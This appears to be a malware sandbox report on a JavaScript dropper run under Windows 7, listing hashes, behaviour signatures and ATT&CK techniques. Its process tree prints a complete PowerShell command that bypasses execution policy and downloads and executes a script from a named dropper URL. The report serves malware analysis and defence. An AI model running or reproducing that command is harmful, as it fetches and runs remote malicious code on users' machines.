004d74496975e008a7fc693503d1e37480d46ce33d17c7e48fa0d7ca29e1a015

Resubmissions

01/03/2024, 10:30

240301-mjz9aafd8y10

01/03/2024, 10:19

240301-mcjb7afd2s10

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
01/03/2024, 10:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
142101421014210REC_.js
Size 82KB
Sample240301-mcjb7afd2s
SHA256 004d74496975e008a7fc693503d1e37480d46ce33d17c7e48fa0d7ca29e1a015
MD5 dfc7f50c2ccb605bc0230c7c07e8e96d
SHA1 bbc6d71f601546c702c32f6dadeda8574b7b7ba9
SHA512 24218fe3334327d13f3380904cb59ea082e57f6758b330e06dafe9f12a05d3ce2c8bb2f527245a3ef838b07fcf36231c614d4868b0f874095eadfe138e514a5b
SSDEEP 1536:FziPYUNKRMz+GB1+vS3DL/NgMwZc+m/A1pRrGOIPFDgPwj9UtC06VBn6GZa8Tsra:FzijRqGrPfkRr7IRgPaqojfZa8Tt
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://cspapply.com/br.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	940	powershell.exe
6	940	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
940	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	940	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2008 wrote to memory of 940	2008	wscript.exe	28
PID 2008 wrote to memory of 940	2008	wscript.exe	28
PID 2008 wrote to memory of 940	2008	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\142101421014210REC_.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://cspapply.com/br.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/940-4-0x000000001B400000-0x000000001B6E2000-memory.dmp

Download

memory/940-5-0x00000000023F0000-0x00000000023F8000-memory.dmp

Download

memory/940-6-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Download

memory/940-7-0x00000000029B0000-0x0000000002A30000-memory.dmp

Download

memory/940-8-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Download

memory/940-10-0x00000000029B0000-0x0000000002A30000-memory.dmp

Download

memory/940-9-0x00000000029B0000-0x0000000002A30000-memory.dmp

Download

memory/940-11-0x00000000029B0000-0x0000000002A30000-memory.dmp

Download

memory/940-12-0x00000000029B0000-0x0000000002A30000-memory.dmp

Download

memory/940-13-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Download